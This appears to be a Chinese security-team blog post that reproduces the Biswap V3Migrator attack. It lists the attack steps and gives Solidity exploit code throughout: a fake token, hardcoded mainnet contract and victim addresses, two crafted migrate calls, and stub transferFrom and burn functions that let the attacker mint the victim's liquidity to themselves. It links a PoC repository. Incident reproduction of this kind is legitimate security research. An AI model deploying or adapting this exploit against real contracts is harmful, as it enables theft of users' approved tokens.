Biswap攻击复现
2023-7-10 08:3:8 Author: ChaMd5安全团队(查看原文) 阅读量:20 收藏


简要的攻击流程

  1. 第一次调用migrate函数,输入真的pair合约和假的token,mint地址是受害者。
  2. transferFrom函数将受害者LPtoken发到升级合约中。
  3. 销毁LPtoken,获取两种代币。
  4. 调用mint,铸造假的LPtoken给受害者。
  5. 第二次调用migrate函数,输入伪造的pair合约和真的token,mint地址是自己的地址。
  6. 调用假的pair合约的transferFrom和burn函数不做任何操作,其中burn函数需要返回转移合约中两种代币的数量。
  7. 向自己的地址mint真的LP。

具体实现

编写假的token合约:

contract fakeToken is ERC20 {
constructor() ERC20("fake", "fake") {
_mint(msg.sender, 10e10 ether);
}
}

初始化v3Migrator、bsw-wbnb交易对,manager,biswapFactory合约,创建两个假token合约:

    IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;

address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;

address public fakeToken0 = address(new fakeToken());
address public fakeToken1 = address(new fakeToken());

在创建交易对时会判断代币地址的相对大小,所以要先调整一下两种代币的顺序:

···

if (fakeToken0 > fakeToken1) {
(fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
}

获取bsw-wbnb交易对中受害者对转移合约的授权:

uint256 allowance = pair.allowance(victim, address(v3Migrator));

提前将两种假token发送到转移合约:

IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether);
IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);

创建两种假token的交易对:

factory.newPool(fakeToken0, fakeToken1, 150 ,1);

第一次调用migrate函数:

IV3Migrator.MigrateParams memory params = 
IV3Migrator.MigrateParams(
address(pair),
allowance,
fakeToken0,
fakeToken1,
150,
10000,
20000,
0,
0,
victim,
1688126472,
false
);

v3Migrator.migrate(params);

交易对为真实的bsw-wbnb pair,要转移的流动性为受害者地址对转移合约的授权,两种代币为假的token,其余参数也与实际攻击一致。

第二次调用migrate函数:

IV3Migrator.MigrateParams memory params1 = 
IV3Migrator.MigrateParams(
address(this),
allowance,
bsw,
wbnb,
150,
10000,
20000,
0,
0,
address(this),
1688126472,
false
);

v3Migrator.migrate(params1);

这时的pair为攻击合约本身,所以攻击合约要实现transferFrom和burn函数:

    function transferFrom(address from, address to, uint value) external returns (bool){
return true;
}

transferFrom直接返回true即可。

    function burn(address to) external returns (uint amount0, uint amount1) {
uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
return (bswBalance, wbnb1Balance);
}

burn函数返回两种真实代币在转移合约中的余额。

在第二次调用之后,攻击合约应该获取到一个LP和相应数量的两种的代币。

测试

image-20230708072642858

代码

https://github.com/wangbar0133/biswap_poc

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247509136&idx=1&sn=b2e2589cc7d6d9e6d92fd5093cbbd7f9&chksm=e89d8c48dfea055e2ed61b515dd67391ca20353634922823a6b59cdfef9291a46965eada4f97#rd
如有侵权请联系:admin#unsafe.sh